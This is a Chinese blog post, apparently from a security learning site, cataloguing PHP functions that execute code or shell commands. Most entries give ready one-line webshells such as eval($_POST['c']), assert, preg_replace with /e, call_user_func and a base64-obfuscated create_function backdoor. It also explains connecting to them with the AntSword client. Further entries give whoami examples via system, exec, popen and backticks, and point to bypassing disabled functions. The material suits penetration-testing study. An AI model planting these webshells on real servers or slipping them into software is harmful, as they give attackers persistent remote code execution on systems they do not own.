zoukankan      html  css  js  c++  java
  • PHP代码执行/命令执行总结

    代码执行

    eval

    (PHP 4, PHP 5, PHP 7)

    eval( string $code) : mixed
    

    把字符串 code 作为PHP代码执行。

    eval($_POST['c']);
    

    直接蚁剑链接密码为c

    assert

    (PHP 4, PHP 5, PHP 7)

    assert( mixed $assertion[, Throwable $exception]) : bool
    

    如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

    使用方法同eval

    assert($_POST['c']);
    

    preg_replace

    (PHP 4, PHP 5, PHP 7)

    preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
    

    preg_replace — 执行一个正则表达式的搜索和替换
    搜索subject中匹配pattern的部分,以replacement进行替换。

    当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,即:'"\NULL
    然后进行后向引用替换。在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

    举个栗子:

    echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');
    

    /e修饰符前的正则表达式匹配后面的字符串参数,将chabug字符串替换为phpinfo()并且以eval()的方式执行。

    一句话:

    echo preg_replace('/.*/e',$_POST['c'],'');
    

    call_user_func

    (PHP 4, PHP 5, PHP 7)

    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
    

    call_user_func — 把第一个参数作为回调函数调用
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

    举个例子:

    call_user_func('phpinfo');
    

    一句话shell:

    call_user_func($_POST['a'], $_POST['c']);
    

    image-20200928163116695

    蚁剑连接

    image-20200928163143655

    image-20200928163200949

    需要设置http body和编码器

    call_user_func_array

    (PHP 4 >= 4.0.4, PHP 5, PHP 7)

    call_user_func_array ( callable $callback , array $param_arr ) : mixed
    

    call_user_func_array 调用回调函数,并把一个数组参数作为回调函数的参数

    举个例子:

    call_user_func_array($_POST['a'], $_POST['c']);
    

    image-20200928163253296

    和上一个函数相比只是将$c改为数组传入,蚁剑连接方式同理。

    create_function

    (PHP 4 >= 4.0.1, PHP 5, PHP 7)

    create_function ( string $args , string $code ) : string
    

    create_function函数接收两个参数$args$code 然后组成新函数function_lambda_func($args){$code;}eval(function_lambda_func($args){$code;})

    我们不需要传参数,直接把$code改为普通的一句话就行了。

    $c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();
    

    密码c

    array_map

    (PHP 4 >= 4.0.6, PHP 5, PHP 7)

    array_map ( callable $callback , array $array1 [, array $... ] ) : array
    

    返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

    一句话:

    array_map('assert',array($_POST['c']));
    

    还有诸如array_filteruksortuasortarray_walk + preg_replacepreg_filtermb_ereg_replaceregister_shutdown_functionfilter_var

    更多的回调函数请移步 创造tips的秘籍——PHP回调后门

    命令执行

    system

    system ( string $command [, int &$return_var ] ) : string
    

    system — 执行外部程序,并且显示输出,本函数执行 command 参数所指定的命令, 并且输出执行结果。

    system('whoami');
    

    passthru

    passthru ( string $command [, int &$return_var ] ) : void
    

    passthru — 执行外部程序并且显示原始输出

    passthru('whoami');
    

    exec

    exec ( string $command [, array &$output [, int &$return_var ]] ) : string
    

    exec() 执行 command 参数所指定的命令。

    echo exec("whoami");
    

    pcntl_exec

    pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
    

    pcntl_exec — 在当前进程空间执行指定程序
    $path指定可执行二进制文件路径

    pcntl_exec ( "/bin/bash" , array("whoami"));
    

    该模块不能在非Unix平台(Windows)上运行。

    shell_exec

    shell_exec ( string $cmd ) : string
    

    通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

    echo shell_exec('whoami');
    

    popen

    popen ( string $command , string $mode ) : resource
    

    打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

    $handle = popen('cmd.exe /c whoami', 'r');
    $read = fread($handle, 2096);
    echo $read;
    pclose($handle);
    

    与之对应的还有proc_open()函数

    反引号

    在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,使用反引号运算符的效果与函数 shell_exec() 相同。

    echo `whoami`;
    

    ob_start

    ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
    
    $cmd = 'system';
    ob_start($cmd);
    echo "$_GET[a]";
    ob_end_flush();
    

    实际上还是通过回调system函数,绕不过disablefunc

    mail

    讲不清楚,直接贴链接

    bypass_disablefunc

    参考

  • 相关阅读:
    【芯片】国产MCU替代ST芯片调查
    【生产线】包装如何防止配件漏装
    【标准】运输振动试验
    【bat】批量提取文件夹内文件的名称
    【VBA】从批量excel文件中获取数据
    【滤波器】抗混叠滤波器
    【元器件】晶振TCXO、OCXO
    【C】三点求抛物线顶点
    德卡T10读卡器 读取身份证号码和身份证UID
    C# 执行查询语句,返回DataSet
  • 原文地址:https://www.cnblogs.com/lktop/p/13745752.html
Copyright © 2011-2022 走看看